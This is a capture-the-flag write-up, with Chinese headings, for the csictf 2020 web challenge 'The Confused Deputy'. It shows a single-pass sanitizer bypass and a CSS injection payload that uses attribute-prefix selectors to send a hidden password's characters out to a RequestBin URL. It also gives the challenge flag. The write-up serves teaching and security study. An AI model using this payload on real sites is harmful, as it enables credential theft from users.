

# The Confused Deputy

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## WriteUp来源

<https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/The-Confused-Deputy.html>

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## 题目描述

Wow that's a pretty color! Don't you think? Pick your favourite and show it to the admin on /admin.

## 题目考点

### 解题思路

- There are two input field :
- hidden input with value=<password>
- visible input where users can enter a color
- The entered input colors are sanitized and gets reflected in the <style> tag

```
1 <style> .show {background-image: none; background-color: ${sanitized(input)} }</style>
2 function sanitized(content) {
3     content = content.replace('<', '').replace('>', '');
4     return content;
5 }
```

- The sanitization is done only once, so it can be bypassed by using the following payload

```
1 <><malicious-payload>
```

- The sanitization removes <> and returns <malicious-payload>
- This is a case of DOM-based XSS, but XSS didn't execute on trying various payloads
- Then trying CSS Injection and using a RequestBinURL, it is possible to extract the password from the hidden input field

### Payload

```
1 #000000; } input[type="password"] [value^=<value-x>] {background-image: url('https://<RequestBinURL>/<value-x>');
```

### Payload Explanation

- #000000; } :
- Closes the existing style element
- input[type="password"] [value^=<value-x>] {background-image: url('https://<RequestBinURL>/<value-x>'); :
- Creates a new style element for input tag whose type=password and value begins with <value-x>
- If the conditions satisfy, then a request is sent to the mentioned URL - https://<RequestBinURL>/<value-x>
- The entire password can be enumerated using the explained method
- Use Burp Intruder or write a script to automate the process

### Flag

1 csictf{cssxss}

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